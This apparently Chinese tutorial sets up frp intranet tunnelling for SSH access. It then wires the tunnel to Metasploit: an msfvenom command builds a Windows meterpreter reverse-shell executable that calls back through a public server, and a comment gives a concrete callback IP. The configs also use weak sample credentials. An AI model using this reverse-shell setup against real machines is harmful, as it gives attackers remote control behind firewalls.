1、frp简介

frp是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务, 支持tcp, udp, http,https等协议类型,并且web服务支持根据域名进行路由转发。

1.1 为什么要使用frp

两台不同内网的机器,是没有办法直接进行访问的,通过配置frp内网穿透,可以实现将2台不同内网的机器实现互联

1.2 使用frp之前

一定要有一个公网的ip,去买个云服务器就行,企鹅云的服务器现在新用户也就65一个月

1.3 frp下载地址

https://github.com/fatedier/frp/releases

根据不同的系统需求,下载不同的frp版本就行,linux就下载如下图所示的版本

2、frp的配置与使用,配置的过程分为两个部分,一是服务器端(外网服务器)的配置;二是客户端(内网服务器)配置。

2.1配置服务端

将下载好后的frp文件上传到服务器,使用如下命令解压

tar -zxvf frp_0.44.0_linux_amd64.tar.gz


之后使用cd命令进入解压之后的文件夹

cd frp_0.44.0_linux_amd64/

使用vim frps.ini命令进入编辑模式,写入如下信息

[common]
# frp监听的端口,默认是7000
bind_port = 7000
# 授权码
token =aini123
# 这个token之后在客户端会用到# frp管理后台端口
dashboard_port = 8000
# frp管理后台用户名和密码
dashboard_user = admin
dashboard_pwd = admin
enable_prometheus = true# frp日志配置
log_file = /var/log/frps.log
log_level = info
log_max_days = 3

配置完成后如下图

启动frp服务

./frps -c ./frps.ini

启动成功如下图

之后输入服务端ip:8000能出现如下页面,就说明配置完成了

2.2配置客户端

同上方法,在客户端上传解压文件,进入解压的文件夹

使用vim frpc.ini 编辑客户端配置文件,内容如下

# 客户端配置
[common]
server_addr = 服务器的ip# 与frps.ini的bind_port一致
server_port = 7000# 与frps.ini的token一致
token =aini123# 配置msf服务
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555
#转发给本机的 5555   本地msf监听127.0.0.1:5555端口
remote_port = 6000
#服务端用 6000 端口转发给本机
#木马程序的shell返回地址应该是175.24.230.65:6000,然后服务器会将6000的值转发给本地5555端口# 配置ssh服务
[ssh]
type = tcp
local_ip =127.0.0.1
local_port =22
remote_port =6001

配置好后如下图:

使用./frpc -c ./frpc.ini命令启动客户端,会出现如下连接成功的显示,如果连接失败,记得注释不要和配置代码放同一行就不会报错了

3、测试ssh连接

因为前面设置的ssh连接remote_port转发端口为6001,所以我们只需要连接外网服务器的6001端口,就能连接上客户端的ssh

连接成功

4、测试msf连接

msf制作一个反弹木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=公网ip lport=6000 --platform win -f exe -o msf.exe

msf设置监听5555端口

靶机打开反弹连接的木马,成功获取shell

frp内网穿透教程2022最新(含内网ssh配置与msf联动配置)相关推荐

  1. 黑群晖6.21无公网IP无域名内网穿透教程

    黑群晖6.21无公网IP无域名免费内网穿透教程 鼓捣黑群晖的起因,由于生了二胎,照片视频大量数据没有存储.闲来无事,准备解决大量照片存储问题.在咸鱼收了一块二手硬盘6T红盘. 但是问题来了,家里没有台 ...

  2. 简单免费内网穿透教程,利用树莓派实现低成本建站 无需公网

    很多人都想试试自己建站玩一玩 (比如博客.自建网盘.远程下载等),但家里宽带没公网 IP,特意买台服务器又显得浪费.那么有没成本小.可玩性高.又能长期稳定使用的方案呢? 其实,免费的内网穿透工具 (如 ...

  3. (免费)钉钉内网穿透教程

    钉钉内网穿透教程 免费的内网穿透针不戳 github地址:https://github.com/open-dingtalk/pierced 下载了之后打开文件地址,以window为例: 进入你下载的文 ...

  4. 利用内网穿透,实现公网访问内网

    由于IPV4地址资源的稀缺性,运营商分配给到用户的,基本都是内网IP.因此,公网电脑想要访问内网电脑时,常常会遇到没有公网IP,无法直接与内网电脑进行通信. 而在没有公网IP的情况下,想要访问内网,经 ...

  5. 树莓派3B+采用花生棒进行内网穿透,从拆箱到实现SSH远程控制与sftp简单远程文件上传下载

    树莓派3B+采用花生棒进行内网穿透,使用sftp实现远程控制与简单远程文件上传下载) 准备步骤 物理环境搭建 关于基础配置的博文推荐 树莓派联网配置 基础联网 配置静态ip 花生壳内网穿透 常用远程端 ...

  6. 2022最新云存储网盘系统/文件分享存储系统

    正文: 2022最新云存储网盘系统_文件分享系统_文件存储系统,其它的就没什么好介绍的了,有兴趣的自行去体验吧. 程序: wwbefs.lanzout.com/iypAi0bokx9i 图片:     ...

  7. 【百度网盟教程】如何登陆百度网盟(1)

    Hello,大家好,很久没上来更新博客了.因为忙着自己的事情,所以都忘记上来更新博客了.很多朋友问我为什么最近都没什么干货了呢?呵呵,今天开始给大家连载一下网盟的教程吧!这次连载都是一些基本的操作,但 ...

  8. 群晖安装frp实现内网穿透(2022最新版frp)

    一.环境 云服务器CentOS 8(轻量应用服务器) 黑群晖DSM 6.2-23739 frp版本0.38.0 二.云服务器frps配置 云服务器用的是腾讯云的,直接用wget去GitHub下载比较慢 ...

  9. 【保姆级】阿里云服务器frp内网穿透教程

    背景1: 去年买了一台阿里云服务器,轻量应用服务器,2核4G.个人比较喜欢嵌入式,开发板也不少,但是开发板连接路由器后内次都要看一下IP然后去连接(虽然可以在路由器上控设置固定IP),然后最近突发奇想 ...

最新文章

  1. 两千年是不是闰年 输出错误_干货!AMOS常见的10种错误及解决办法!
  2. qt 添加依赖库lib_在QT中添加LIB的方法
  3. Set up Ubuntu 12.04 Laptop as WiFi Hotspot (ad-hoc) to Share Wired Internet
  4. 10亿级!淘宝大规模图像检索引擎算法设计概览
  5. 番茄瑜伽13招-学好可以疏经活血祛风止痛
  6. oracle 数据备份视频,赵强老师:Oracle数据库(之四):备份与恢复视频课程
  7. ubuntu18安装vcs2016和verdi2016
  8. 【运动控制】梯形加减速 三角加减速 柔性S型加减速曲线的认识
  9. 微信支付服务器白名单,微信测试号白名单怎么回事?如何进行微信支付测试?
  10. 计算机毕业设计之java+ssm乐轩公司订餐系统
  11. 汇编语言学习篇2——MASM的环境搭建(win10与Ubuntu1604下的配置)【有问题,待更正】
  12. Python OpenCV去除图片水印
  13. 2021年新安装的Win7系统,Windows Update无法更新,提示错误代码80072EFE
  14. Caché——高性能对象关系型数据库
  15. AudioEffect源码解析
  16. UIImage 的图片平铺实现效果
  17. 关于分布式事务 两阶段提交 一阶段提交 Best Efforts 1PC模式和事务补偿机制的研究
  18. emoji 表情 php 转换,emoji的表情转换PHP类库
  19. 国内下载golang.org/x简单方法
  20. 苹果开发者apple_developer_api

热门文章

  1. 放大器OPA855的噪声计算实例
  2. MSN,QQ,IP Messenger,飞鸽传书,的工作原理解析
  3. cocos creator 3.x使用tween缓动接口和贝塞尔曲线实现简易抛物线
  4. Android模拟登录教务处(带验证码)
  5. can not cast to JSONObject,HTTPClient项目间服务调用时踩的一个大坑
  6. Don't know how to iterate over supplied items in lt;forEachgt;
  7. elementui表格父子表_vue+element-ui实现主子表
  8. 利用计算机求解需要什么技能,利用计算机来实现问题的求解,需要具备以下哪个技能...
  9. Centos7 安装 sftp
  10. 云计算 码率适配限速_H3C CAS云计算管理平台-GPU直通操作指导书-5W101